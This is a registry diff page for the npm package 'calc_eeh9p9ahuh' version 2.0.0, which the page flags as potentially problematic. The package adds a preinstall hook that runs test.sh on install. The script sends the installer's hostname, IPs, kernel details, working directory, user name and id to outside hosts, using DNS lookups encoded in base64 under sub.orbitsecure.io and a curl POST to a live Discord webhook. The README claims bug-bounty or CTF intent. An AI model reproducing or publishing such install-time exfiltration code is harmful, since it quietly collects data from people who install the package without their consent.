calc_eeh9p9ahuh 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of calc_eeh9p9ahuh might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +3 -0
- package/package.json +12 -0
- package/test.sh +25 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
This is part of a bug bounty program and will be removed upon a request!, you can contact me here: deneuve@wearehackerone.com
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "calc_eeh9p9ahuh",
|
3
|
+
"version": "2.0.0",
|
4
|
+
"description": "This is part of CTF, contact me here archerl@wearehackerone.com",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "bash test.sh",
|
8
|
+
"preinstall": "bash test.sh"
|
9
|
+
},
|
10
|
+
"author": "archerl@wearehackerone.com",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/test.sh
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
# #!/bin/bash
|
2
|
+
|
3
|
+
touch deneuvePOC.txt
|
4
|
+
|
5
|
+
tagDen="ctfhac"
|
6
|
+
|
7
|
+
|
8
|
+
# #DNS part
|
9
|
+
|
10
|
+
# Hostname hostname -I [H]
|
11
|
+
nslookup $tagDen.H.$(hostname -I | base64).sub.orbitsecure.io ||
|
12
|
+
# About kernelname uname [N]
|
13
|
+
nslookup $tagDen.N.$(uname | base64).sub.orbitsecure.io ||
|
14
|
+
# About kernel release uname -r [R]
|
15
|
+
nslookup $tagDen.R.$(uname -r | base64).sub.orbitsecure.io ||
|
16
|
+
# path pwd [P]
|
17
|
+
nslookup $tagDen.P.$(pwd | base64).sub.orbitsecure.io ||
|
18
|
+
|
19
|
+
|
20
|
+
# HTTP request
|
21
|
+
curl -H "Content-Type: application/json" -d "{\"username\": \"Whoami: $(whoami)\", \"content\": \"**The path:** $(pwd), **Version and stuff:** $(uname -a) **ID:** $(id), **IP**: $(curl ifconfig.me), **Internal IP**: $(hostname -I), **Tag**: $tagDen \"}" https://discord.com/api/webhooks/888540719613091900/ZFVINbf0mKuHS5q1cXiT8aa5Cd9pjD5L_yinYtCb7_p2Mv1kbroxQdLQJ3KK46Xzz7HF
|
22
|
+
|
23
|
+
|
24
|
+
# About the username whoami
|
25
|
+
nslookup $tagDen.W.$(whoami | base64).sub.orbitsecure.io
|